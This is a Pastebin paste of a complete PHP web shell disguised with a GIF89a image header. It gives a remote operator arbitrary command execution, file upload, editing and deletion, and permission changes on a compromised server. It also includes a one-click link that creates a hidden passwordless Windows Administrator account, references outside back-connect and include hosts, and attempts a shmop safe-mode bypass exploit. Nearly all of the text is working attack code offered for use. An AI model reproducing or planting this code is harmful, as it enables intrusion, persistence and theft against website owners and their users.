Advertisement
Guest User

Untitled

a guest
Nov 24th, 2017
134
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
text 21.61 KB | None | 0 0
  1. GIF89a;
  2. <html>
  3. <head>
  4. <meta http-equiv="Content-Language" content="pt-br">
  5. <meta name="GENERATOR" content="Microsoft FrontPage 5.0">
  6. <meta name="ProgId" content="AoD">
  7. <meta http-equiv="Content-Type" content="text/html; charset=windows-1252">
  8. <title>by nots3c</title>
  9. <style type="text/css">
  10. A:link {
  11. text-decoration:none;
  12. color: #FFFFFF;
  13. }
  14. A:visited {
  15. text-decoration:none;
  16. color: #FF6600;
  17. }
  18. A:hover {text-decoration:underline}
  19. A:active {text-decoration:underline}
  20. body,td,th {
  21. color: #FFFFFF;
  22. }
  23. body {
  24. background-color: #000000;
  25. }
  26. .style1 {font-size: 18px}
  27. </style>
  28. </head>
  29. <body style="font-family: Tahoma; font-size: 10px">
  30. <center>
  31. <span class="style1">by nots3c</span>
  32. </center>
  33.  
  34. <?php
  35.  
  36. @set_time_limit(0);
  37.  
  38. $string = $_SERVER['QUERY_STRING'];
  39. $mhost = 'http://www.education.zp.ua/images/down.jpg?';
  40. $host_all = explode("$mhost", $string);
  41. $s1 = $host_all[0];
  42. $fstring = $_SERVER['PHP_SELF']."?".$s1.$mhost;
  43.  
  44. $OS = @PHP_OS;
  45. $IpServer = '127.0.0.1';
  46. $UNAME = @php_uname();
  47. $PHPv = @phpversion();
  48. $SafeMode = @ini_get('safe_mode');
  49.  
  50. if ($SafeMode == '') { $SafeMode = "<i>OFF</i>"; }
  51. else { $SafeMode = "<i>$SafeMode</i>"; }
  52.  
  53. $btname = 'backtool.txt';
  54. $bt = 'http://www.full-comandos.com/jobing/r0nin';
  55. $dc = 'http://www.full-comandos.com/jobing/dc.txt';
  56. $newuser = '@echo off;net user Admin /add /expires:never /passwordreq:no;net localgroup &quot;Administrators&quot; /add Admin;net localgroup &quot;Users&quot; /del Admin';
  57.  
  58. // Java Script
  59. echo "<script type=\"text/javascript\">";
  60.  
  61. echo "function ChMod(chdir, file) {";
  62. echo "var o = prompt('Chmod: - Exemple: 0777', '');";
  63. echo "if (o) {";
  64. echo "window.location=\"\" + '{$fstring}&action=chmod&chdir=' + chdir + '&file=' + file + '&chmod=' + o + \"\";";
  65. echo "}";
  66. echo "}";
  67. echo "function Rename(chdir, file, mode) {";
  68. echo "if (mode == 'edit') {";
  69. echo "var o = prompt('Rename file '+ file + ' for:', '');";
  70. echo "}";
  71. echo "else {";
  72. echo "var o = prompt('Rename dir '+ file + ' for:', '');";
  73. echo "}";
  74. echo "if (o) {";
  75. echo "window.location=\"\" + '{$fstring}&action=rename&chdir=' + chdir + '&file=' + file + '&newname=' + o + '&mode=' + mode +\"\";";
  76. echo "}";
  77. echo "}";
  78. echo "function Copy(chdir, file) {";
  79. echo "var o = prompt('Copied for:', '/tmp/' + file);";
  80. echo "if (o) {";
  81. echo "window.location=\"\" + '{$fstring}&action=copy&chdir=' + chdir + '&file=' + file + '&fcopy=' + o + \"\";";
  82. echo "}";
  83. echo "}";
  84. echo "function Mkdir(chdir) {";
  85. echo "var o = prompt('Which name?', 'NewDir');";
  86. echo "if (o) {";
  87. echo "window.location=\"\" + '{$fstring}&action=mkdir&chdir=' + chdir + '&newdir=' + o + \"\";";
  88. echo "}";
  89. echo "}";
  90. echo "function Newfile(chdir) {";
  91. echo "var o = prompt('Which name?', 'NewFile.txt');";
  92. echo "if (o) {";
  93. echo "window.location=\"\" + '{$fstring}&action=newfile&chdir=' + chdir + '&newfile=' + o + \"\";";
  94. echo "}";
  95. echo "}";
  96. echo "</script>";
  97.  
  98. // End JavaScript
  99.  
  100. /* Functions */
  101. function cmd($CMDs) {
  102. $CMD[1] = '';
  103. exec($CMDs, $CMD[1]);
  104. if (empty($CMD[1])) {
  105. $CMD[1] = shell_exec($CMDs);
  106. }
  107. elseif (empty($CMD[1])) {
  108. $CMD[1] = passthru($CMDs);
  109. }
  110. elseif (empty($CMD[1])) {
  111. $CMD[1] = system($CMDs);
  112. }
  113. elseif (empty($CMD[1])) {
  114. $handle = popen($CMDs, 'r');
  115. while(!feof($handle)) {
  116. $CMD[1][] .= fgets($handle);
  117. }
  118. pclose($handle);
  119. }
  120. return $CMD[1];
  121. }
  122.  
  123. if (@$_GET['chdir']) {
  124. $chdir = $_GET['chdir'];
  125. } else {
  126. $chdir = getcwd()."/";
  127. }
  128. if (@chdir("$chdir")) {
  129. $msg = "<font color=\"#008000\">Entrance&nbsp;in&nbsp;the&nbsp;directory,&nbsp;OK!</font>";
  130. } else {
  131. $msg = "<font color=\"#FF0000\">Error&nbsp;to&nbsp;enters&nbsp;it&nbsp;in&nbsp;the&nbsp;directory!</font>";
  132. $chdir = str_replace($SCRIPT_NAME, "", $_SERVER['SCRIPT_NAME']);
  133. }
  134. $chdir = str_replace(chr(92), chr(47), $chdir);
  135.  
  136. if (@$_GET['action'] == 'upload') {
  137. $uploaddir = $chdir;
  138. $uploadfile = $uploaddir. $_FILES['userfile']['name'];
  139. if (@move_uploaded_file($_FILES['userfile']['tmp_name'], $uploaddir . $_FILES['userfile']['name'])) {
  140. $msg = "<font color=\"#008000\"><font color=\"#FFFFFF\">{$_FILES['userfile']['name']}</font>,&nbsp;the&nbsp;archive&nbsp;is&nbsp;validates&nbsp;and&nbsp;was&nbsp;loaded&nbsp;successfully.</font>";
  141. } else {
  142. $msg = "<font color=\"#FF0000\">Error&nbsp;when&nbsp;copying&nbsp;archive.</font>";
  143. }
  144. }
  145. elseif (@$_GET['action'] == 'mkdir') {
  146. $newdir = $_GET['newdir'];
  147. if (@mkdir("$chdir"."$newdir")) {
  148. $msg = "<font color=\"#008000\"><font color=\"#FFFFFF\">{$newdir}</font>,&nbsp;directory&nbsp;created successfully.</font>";
  149. } else {
  150. $msg = "<font color=\"#FF0000\">Error&nbsp;to&nbsp;it&nbsp;creates&nbsp;directory.</font>";
  151. }
  152. }
  153. elseif (@$_GET['action'] == 'newfile') {
  154. $newfile = $_GET['newfile'];
  155. if (@touch("$chdir"."$newfile")) {
  156. $msg = "<font color=\"#008000\"><font color=\"#FFFFFF\">{$newfile}</font>,&nbsp;created successfully!</font>";
  157. } else {
  158. $msg = "<font color=\"#FF0000\">Error&nbsp;to&nbsp;tries&nbsp;it&nbsp;creates&nbsp;archive.</font>";
  159. }
  160. }
  161.  
  162. elseif (@$_GET['action'] == 'del') {
  163. $file = $_GET['file']; $type = $_GET['type'];
  164. if ($type == 'file') {
  165. if (@unlink("$chdir"."$file")) {
  166. $msg = "<font color=\"#008000\"><font color=\"#FFFFFF\">{$file}</font>,&nbsp;successfully&nbsp;excluded&nbsp;archive!</font>";
  167. } else {
  168. $msg = "<font color=\"#FF0000\">Error&nbsp;to&nbsp;it&nbsp;I&nbsp;excluded&nbsp;archive!</font>";
  169. }
  170. } elseif ($type == 'dir') {
  171. if (@rmdir("$chdir"."$file")) {
  172. $msg = "<font color=\"#008000\"><font color=\"#FFFFFF\">{$file}</font>,&nbsp;successfully&nbsp;excluded&nbsp;directory!</font>";
  173. } else {
  174. $msg = "<font color=\"#FF0000\">Error&nbsp;to&nbsp;it&nbsp;I&nbsp;excluded&nbsp;directory!</font>";
  175. }
  176. }
  177. }
  178. elseif (@$_GET['action'] == 'chmod') {
  179. $file = $chdir.$_GET['file']; $chmod = $_GET['chmod'];
  180. if (@chmod ("$file", $chmod)) {
  181.  
  182. $msg = "<font color=\"#008000\">Chmod&nbsp;of</font>&nbsp;<font color=\"#FFFFFF\">{$_GET['file']}</font>&nbsp;<font color=\"#008000\">moved&nbsp;for</font>&nbsp;<font color=\"#FFFFFF\">$chmod</font>&nbsp;<font color=\"#008000\">successfully.</font>";
  183. } else {
  184. $msg = '<font color=\"#FF0000\">Error&nbsp;when&nbsp;moving&nbsp;chmod.</font>';
  185. }
  186. }
  187. elseif (@$_GET['action'] == 'rename') {
  188. $file = $_GET['file']; $newname = $_GET['newname'];
  189. if (@rename("$chdir"."$file", "$chdir"."$newname")) {
  190. $msg = "<font color=\"#008000\">Archive</font>&nbsp;<font color=\"#FFFFFF\">{$file}</font>&nbsp;<font color=\"#008000\">named for</font>&nbsp;<font color=\"#FFFFFF\">{$newname}</font>&nbsp;<font color=\"#008000\">successfully!</font>";
  191. } else {
  192. $msg = "<font color=\"#FF0000\">Error&nbsp;to&nbsp;it&nbsp;nominates&nbsp;archive.</font>";
  193. }
  194. }
  195. elseif (@$_GET['action'] == 'copy') {
  196. $file = $chdir.$_GET['file']; $copy = $_GET['fcopy'];
  197. if (@copy("$file", "$copy")) {
  198. $msg = "<font color=\"#FFFFFF\">{$file}</font>,&nbsp;<font color=\"#008000\">copied for</font> <font color=\"#FFFFFF\">{$copy}</font> <font color=\"#008000\">successfully!</font>";
  199. } else {
  200. $msg = "<font color=\"#FF0000\">Error&nbsp;when&nbsp;copying</font>&nbsp;<font color=\"#000000\">{$file}</font>&nbsp;<font color=\"#FF0000\">for</font>&nbsp;<font color=\"#000000\">{$copy}</font></font>";
  201. }
  202. }
  203. /* Parte Atualiza 02:48 12/2/2006 */
  204.  
  205. elseif (@$_GET['action'] == 'cmd') {
  206. if (!empty($_GET['cmd'])) { $cmd = @$_GET['cmd']; }
  207. if (!empty($_POST['cmd'])) { $cmd = @$_POST['cmd']; }
  208. $cmd = stripslashes(trim($cmd));
  209. $result_arr = cmd($cmd);
  210.  
  211. $afim = count($result_arr); $acom = 0; $msg = '';
  212. $msg .= "<p style=\"color: #000000;text-align: center;font-family: 'Lucida Console';font-size: 12px;margin 2\">Results:&nbsp;<b>".$cmd."</b></p>";
  213. if ($result_arr) {
  214. while ($acom <= $afim) {
  215. $msg .= "<p style=\"color: #008000;text-align: left;font-family: 'Lucida Console';font-size: 12px;margin 2\">&nbsp;".@$result_arr[$acom]."</p>";
  216. $acom++;
  217. }
  218. }
  219. else {
  220. $msg .= "<p style=\"color: #FF0000;text-align: center;font-family: 'Lucida Console';font-size: 12px;margin 2\">Erro ao executar comando.</p>";
  221. }
  222. }
  223. elseif (@$_GET['action'] == 'safemode') {
  224. if (@!extension_loaded('shmop')) {
  225. echo "Loading... module</br>";
  226.  
  227. if (strtoupper(substr(PHP_OS, 0,3) == 'WIN')) {
  228. @dl('php_shmop.dll');
  229. } else {
  230. @dl('shmop.so');
  231. }
  232. }
  233.  
  234. if (@extension_loaded('shmop')) {
  235. echo "Module: <b>shmop</b> loaded!</br>";
  236.  
  237. $shm_id = @shmop_open(0xff2, "c", 0644, 100);
  238. if (!$shm_id) { echo "Couldn't create shared memory segment\n"; }
  239. $data="\x00";
  240. $offset=-3842685;
  241. $shm_bytes_written = @shmop_write($shm_id, $data, $offset);
  242. if ($shm_bytes_written != strlen($data)) { echo "Couldn't write the entire length of data\n"; }
  243. if (!shmop_delete($shm_id)) { echo "Couldn't mark shared memory block for deletion."; }
  244. echo passthru("id");
  245. shmop_close($shm_id);
  246.  
  247.  
  248. } else { echo "Module: <b>shmop</b> not loaded!</br>"; }
  249. }
  250.  
  251. elseif (@$_GET['action'] == 'zipen') {
  252. $file = $_GET['file'];
  253. $zip = @zip_open("$chdir"."$file");
  254. $msg = '';
  255. if ($zip) {
  256.  
  257. while ($zip_entry = zip_read($zip)) {
  258. $msg .= "Name: " . zip_entry_name($zip_entry) . "\n";
  259. $msg .= "Actual Filesize: " . zip_entry_filesize($zip_entry) . "\n";
  260. $msg .= "Compressed Size: " . zip_entry_compressedsize($zip_entry) . "\n";
  261. $msg .= "Compression Method: " . zip_entry_compressionmethod($zip_entry) . "\n";
  262.  
  263. if (zip_entry_open($zip, $zip_entry, "r")) {
  264. echo "File Contents:\n";
  265. $buf = zip_entry_read($zip_entry, zip_entry_filesize($zip_entry));
  266. echo "$buf\n";
  267.  
  268. zip_entry_close($zip_entry);
  269. }
  270. echo "\n";
  271.  
  272. }
  273.  
  274. zip_close($zip);
  275.  
  276. }
  277. }
  278. elseif (@$_GET['action'] == 'edit') {
  279. $file = $_GET['file'];
  280. $conteudo = '';
  281. $filename = "$chdir"."$file";
  282. $conteudo = @file_get_contents($filename);
  283. $conteudo = htmlspecialchars($conteudo);
  284. $back = $_SERVER['HTTP_REFERER'];
  285. echo "<p align=\"center\">Editing&nbsp;{$file}&nbsp;...</p>";
  286. echo "<table border=\"0\" cellpadding=\"0\" cellspacing=\"0\" style=\"border-collapse: collapse\" width=\"100%\" id=\"editacao\">";
  287. echo "<tr>";
  288. echo "<td width=\"100%\">";
  289. echo "<form method=\"POST\" action=\"{$fstring}&amp;action=save&amp;chdir={$chdir}&amp;file={$file}\">";
  290. echo "<!--webbot bot=\"SaveResults\" u-file=\"_private/form_results.csv\" s-format=\"TEXT/CSV\" s-label-fields=\"TRUE\" --><p align=\"center\">";
  291. print "<textarea rows=\"18\" name=\"S1\" cols=\"89\" style=\"font-family: Verdana; font-size: 10pt; border: 1px solid #000000\">{$conteudo}</textarea></p>";
  292. echo "<p align=\"center\">";
  293. echo "<input type=\"submit\" value=\"Save\" name=\"B2\" style=\"font-family: Tahoma; font-size: 10px; border: 1px solid #000000\">&nbsp;";
  294. echo "<input type=\"button\" value=\"Closes Publisher\" Onclick=\"javascript:window.location='{$fstring}&amp;chdir={$chdir}'\" name=\"B1\" style=\"font-family: Tahoma; font-size: 10px; border: 1px solid #000000\">&nbsp;";
  295. echo "</form>";
  296. echo "</td>";
  297. echo "</tr>";
  298. echo "</table>";
  299. }
  300. elseif (@$_GET['action'] == 'save') {
  301. $filename = "$chdir".$_GET['file'];
  302. $somecontent = $_POST['S1'];
  303. $somecontent = stripslashes(trim($somecontent));
  304. if (is_writable($filename)) {
  305. @$handle = fopen ($filename, "w");
  306. @$fw = fwrite($handle, $somecontent);
  307. @fclose($handle);
  308. if ($handle && $fw) {
  309. $msg = "<font color=\"#FFFFFF\">{$_GET['file']}</font>,&nbsp;<font color=\"#008000\">edited&nbsp;successfully!</font>";
  310. }
  311. } else {
  312. $msg = "<font color=\"#000000\">{$_GET['file']},</font>&nbsp;<font color=\"#FF0000\">cannot&nbsp;be&nbsp;written!</font>";
  313. }
  314. }
  315.  
  316. //
  317. $cmdget = '';
  318. if (!empty($_GET['cmd'])) { $cmdget = @$_GET['cmd']; }
  319. if (!empty($_POST['cmd'])) { $cmdget = @$_POST['cmd']; }
  320. $cmdget = htmlspecialchars($cmdget);
  321. function asdads() {
  322. $asdads = '';
  323. if (@file_exists("/usr/bin/wget")) { $asdads .= "wget&nbsp;"; }
  324. if (@file_exists("/usr/bin/fetch")) { $asdads .= "fetch&nbsp;"; }
  325. if (@file_exists("/usr/bin/curl")) { $asdads .= "curl&nbsp;"; }
  326. if (@file_exists("/usr/bin/GET")) { $asdads .= "GET&nbsp;"; }
  327. if (@file_exists("/usr/bin/lynx")) { $asdads .= "lynx&nbsp;"; }
  328. return $asdads;
  329. }
  330.  
  331. echo "<form method=\"POST\" name=\"cmd\" action=\"{$fstring}&amp;action=cmd&amp;chdir=$chdir\">";
  332. echo "<fieldset style=\"border: 1px solid #000000; padding: 2\">";
  333. echo "<legend></legend>";
  334. echo "<table border=\"0\" cellpadding=\"0\" cellspacing=\"0\" style=\"border-collapse: collapse; font-family: Tahoma; font-size: 10px\" width=\"100%\">";
  335. echo "<tr>";
  336. echo "<td width=\"8%\">";
  337. echo "<p align=\"right\"><b>Sistema:</b>&nbsp;</td></p>";
  338. echo "<td width=\"92%\">&nbsp;{$OS}</td>";
  339. echo "</tr>";
  340. echo "<tr>";
  341. echo "<td width=\"8%\">";
  342. echo "<p align=\"right\"><b>Uname:&nbsp;</b></td></p>";
  343. echo "<td width=\"92%\">&nbsp;{$UNAME}</td>";
  344. echo "</tr>";
  345. echo "<tr>";
  346. echo "<td width=\"8%\">";
  347. echo "<p align=\"right\"><b>PHP:&nbsp;</b></td></p>";
  348. echo "<td width=\"92%\">&nbsp;{$PHPv},&nbsp;<b>safe mode:</b>&nbsp;{$SafeMode}</td>";
  349. echo "</tr>";
  350. if (strtoupper(substr($OS, 0,3) != 'WIN')) {
  351. $Methods = asdads();
  352. if ($Methods == '') { $Methods = "???"; }
  353. echo "<tr>";
  354. echo "<td width=\"8%\">";
  355. echo "<p align=\"right\"><b>Methods:&nbsp;</b></td></p>";
  356. echo "<td width=\"92%\">&nbsp;{$Methods}</td>";
  357. echo "</tr>";
  358. }
  359.  
  360. echo "<tr>";
  361. echo "<td width=\"8%\">";
  362. echo "<p align=\"right\"><b>Ip:&nbsp;</b></td></p>";
  363. echo "<td width=\"92%\">&nbsp;{$IpServer}</td>";
  364. echo "</tr>";
  365. echo "<tr>";
  366. echo "<td width=\"8%\">";
  367. echo "<p align=\"right\"><b>Command:&nbsp;</b></td></p>";
  368. echo "<td width=\"92%\">&nbsp;<input type=\"text\" size=\"70\" name=\"cmd\" value=\"{$cmdget}\" style=\"font-family: Tahoma; font-size: 10 px; border: 1px solid #000000\">&nbsp;<input type=\"submit\" name=\"action\" value=\"Send\" style=\"font-family: Tahoma; font-size: 10 px; border: 1px solid #000000\"></td>";
  369. echo "</tr>";
  370. echo "</table>";
  371. echo "</fieldset></form>";
  372. // Dir
  373.  
  374. echo "<form method=\"POST\" action=\"{$fstring}&amp;action=upload&amp;chdir=$chdir\" enctype=\"multipart/form-data\">";
  375. echo "<!--webbot bot=\"FileUpload\" u-file=\"_private/form_results.csv\" s-format=\"TEXT/CSV\" s-label-fields=\"TRUE\" --><fieldset style=\"border: 1px solid #000000; padding: 2\">";
  376. if (is_writable("$chdir")) {
  377. if (strtoupper(substr($OS, 0,3) == 'WIN')) {
  378. echo "<legend>Dir&nbsp;<b>YES</b>:&nbsp;{$chdir}&nbsp;-&nbsp;<a href=\"#[New Dir]\" onclick=\"Mkdir('{$chdir}');\">[New Dir]</a>&nbsp;<a href=\"#[New File]\" onclick=\"Newfile('{$chdir}')\">[New File]</a>&nbsp;<a href=\"{$fstring}&amp;action=cmd&amp;chdir={$chdir}&amp;cmd=$newuser\">[Remote Access]</a></legend>";
  379. } else {
  380. echo "<legend>Dir&nbsp;<b>YES</b>:&nbsp;{$chdir}&nbsp;-&nbsp;<a href=\"#[New Dir]\" onclick=\"Mkdir('{$chdir}');\">[New Dir]</a>&nbsp;<a href=\"#[New File]\" onclick=\"Newfile('{$chdir}')\">[New File]</a>&nbsp;<a href=\"{$fstring}&amp;action=backtool&amp;chdir={$chdir}&amp;write=yes\">[BackTool]</a></legend>";
  381. }
  382. }
  383. else {
  384. if (strtoupper(substr($OS, 0,3) == 'WIN')) {
  385. echo "<legend>Dir&nbsp;NO:&nbsp;{$chdir}&nbsp;-&nbsp;<a href=\"#[New Dir]\" onclick=\"Mkdir('{$chdir}');\">[New Dir]</a>&nbsp;<a href=\"#[New File]\" onclick=\"Newfile('{$chdir}')\">[New File]</a>&nbsp;<a href=\"{$fstring}&amp;action=cmd&amp;chdir={$chdir}&amp;cmd={$newuser}\">[Remote Access]</a></legend>";
  386. } else {
  387. echo "<legend>Dir&nbsp;NO:&nbsp;{$chdir}&nbsp;-&nbsp;<a href=\"#[New Dir]\" onclick=\"Mkdir('{$chdir}');\">[New Dir]</a>&nbsp;<a href=\"#[New File]\" onclick=\"Newfile('{$chdir}')\">[New File]</a>&nbsp;<a href=\"{$fstring}&amp;action=backtool&amp;chdir={$chdir}&amp;write=no\">[BackTool]</a></legend>";
  388. }
  389. }
  390.  
  391. if (@!$handle = opendir("$chdir")) {
  392. echo "&nbsp;I&nbsp;could&nbsp;not&nbsp;enters&nbsp;in&nbsp;the&nbsp;directory,&nbsp;<a href=\"{$fstring}\">click here!</a>&nbsp;for&nbsp;return&nbsp;to&nbsp;the&nbsp;original&nbsp;directory!</br>";
  393. }
  394. else {
  395. echo " <table border=\"0\" cellpadding=\"0\" cellspacing=\"0\" style=\"border-collapse: collapse; font-family: Tahoma; font-size: 10px\" width=\"100%\">";
  396. echo " <tr>";
  397. echo " <td width=\"100%\" style=\"font-family: Tahoma; font-size: 10px\" colspan=\"4\">&nbsp;Upload:";
  398. echo " <input type=\"file\" name=\"userfile\" size=\"91\" style=\"font-family: Tahoma; font-size: 10px; border-style: solid; border-width: 1\">";
  399. echo " <input type=\"submit\" value=\"Send\" name=\"B1\" style=\"font-family: Tahoma; font-size: 10px; border: 1px solid #000000\"></td>";
  400. echo " </tr>";
  401. echo " <tr>";
  402. echo " <td width=\"100%\" style=\"font-family: Tahoma; font-size: 10px\" colspan=\"4\">&nbsp;</td>";
  403. echo " </tr>";
  404. echo " <tr>";
  405. echo " <td width=\"100%\" style=\"font-family: Tahoma; font-size: 10px\" colspan=\"4\">";
  406. if (@!$msg) {
  407. echo " <p align=\"left\">Messages</td>";
  408. } else {
  409. echo " <p align=\"left\">$msg</td>";
  410. }
  411. echo " </tr>";
  412. echo " <tr>";
  413. echo " <td width=\"100%\" colspan=\"4\">&nbsp;</td>";
  414. echo " </tr>";
  415. echo " <tr>";
  416. echo " <td width=\"9%\">&nbsp;Perms</td>";
  417. echo " <td width=\"49%\">&nbsp;File </td>";
  418. echo " <td width=\"10%\">&nbsp;Size </td>";
  419. echo " <td width=\"32%\">&nbsp;Commands</td>";
  420. echo " </tr>";
  421. $colorn = 0;
  422. while (false !== ($file = readdir($handle))) {
  423. if ($file != '.') {
  424. if ($colorn == 0) {
  425. $color = "style=\"background-color: #666666\"";
  426. }
  427. elseif ($colorn == 1) {
  428. $color = "style=\"background-color: #333333\"";
  429. }
  430. if (@is_dir("$chdir"."$file")) {
  431. $file = $file.'/';
  432. $mode = 'chdir';
  433. } else {
  434. $mode = 'edit';
  435. }
  436. if (@substr("$chdir", strlen($chdir) -1, 1) != '/') {
  437. $chdir .= '/';
  438. }
  439. if ($file == '../') {
  440. $lenpath = strlen($chdir); $baras = 0;
  441. for ($i = 0;$i < $lenpath;$i++) { if ($chdir{$i} == '/') { $baras++; } }
  442. $chdir_ = explode("/", $chdir);
  443. $chdirpox = str_replace($chdir_[$baras-1].'/', "", $chdir);
  444. }
  445. $perms = @fileperms ("$chdir"."$file");
  446. if ($perms == '') {
  447. $perms = '???';
  448. }
  449. $size = @filesize ("$chdir"."$file");
  450. $size = $size / 1024;
  451. $size = explode(".", $size);
  452. if (@$size[1] != '') {
  453. $size = $size[0].'.'.@substr("$size[1]", 0, 2);
  454. } else {
  455. $size = $size[0];
  456. }
  457. if ($size == 0) {
  458. if ($mode == 'chdir') {
  459. $size = '???';
  460. }
  461. }
  462. echo "<tr>";
  463. echo "<td width=\"9%\" $color>&nbsp;$perms</td>";
  464. if (@is_writable ("$chdir"."$file")) {
  465. if ($mode == 'chdir') {
  466. if ($file == '../') {
  467. echo "<td width=\"49%\" $color>&nbsp;<b><a href=\"{$fstring}&amp;chdir=$chdirpox\">$file</a></b></td>";
  468. } else {
  469. echo "<td width=\"49%\" $color>&nbsp;<b><a href=\"{$fstring}&amp;chdir={$chdir}{$file}\">$file</a></b></td>";
  470. }
  471. } else {
  472. if (is_readable("$chdir"."$file")) {
  473. echo "<td width=\"49%\" $color>&nbsp;<b><a href=\"{$fstring}&amp;action=edit&amp;chdir=$chdir&amp;file=$file\">$file</a></b></td>";
  474. } else {
  475. echo "<td width=\"49%\" $color>&nbsp;<b>$file</b></td>";
  476. }
  477. }
  478. }
  479. else {
  480. if ($mode == 'chdir') {
  481. if ($file == '../') {
  482. echo "<td width=\"49%\" $color>&nbsp;<a href=\"{$fstring}&amp;chdir=$chdirpox\">$file</a></td>";
  483. } else {
  484. echo "<td width=\"49%\" $color>&nbsp;<a href=\"{$fstring}&amp;chdir={$chdir}{$file}\">$file</a></td>";
  485. }
  486. } else {
  487. if (@is_readable("$chdir"."$file")) {
  488. echo "<td width=\"49%\" $color>&nbsp;<a href=\"{$fstring}&amp;action=edit&amp;chdir=$chdir&amp;file=$file\">$file</a></td>";
  489. } else {
  490. echo "<td width=\"49%\" $color>&nbsp;$file</td>";
  491. }
  492. }
  493. }
  494. echo "<td width=\"10%\" $color>&nbsp;$size&nbsp;KB</td>";
  495. if ($mode == 'edit') {
  496. echo "<td width=\"32%\" $color>&nbsp;<a href=\"#{$file}\" onclick=\"Rename('{$chdir}', '{$file}', '{$mode}')\">[Rename]</a>&nbsp;<a href=\"{$fstring}&amp;action=del&amp;chdir={$chdir}&amp;file={$file}&amp;type=file\">[Del]</a>&nbsp;<a href=\"#{$file}\" onclick=\"ChMod('$chdir', '$file')\">[Chmod]</a>&nbsp;<a href=\"#{$file}\" onclick=\"Copy('{$chdir}', '{$file}')\">[Copy]</a></td>";
  497. } else {
  498. echo "<td width=\"32%\" $color>&nbsp;<a href=\"#{$file}\" onclick=\"Rename('{$chdir}', '{$file}', '{$mode}')\">[Rename]</a>&nbsp;<a href=\"{$fstring}&amp;action=del&amp;chdir={$chdir}&amp;file={$file}&amp;type=dir\">[Del]</a>&nbsp;<a href=\"#{$file}\" onclick=\"ChMod('$chdir', '$file')\">[Chmod]</a>&nbsp;[Copy]</td>";
  499. }
  500. echo "</tr>";
  501. if ($colorn == 0) {
  502. $colorn = 1;
  503. }
  504. elseif ($colorn == 1) {
  505. $colorn = 0;
  506. }
  507. }
  508. }
  509. closedir($handle);
  510. }
  511.  
  512. ?>
  513. </table>
  514. </fieldset></form>
  515. <p align="center">&nbsp; </p>
  516. </body>
  517.  
  518. </html>
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement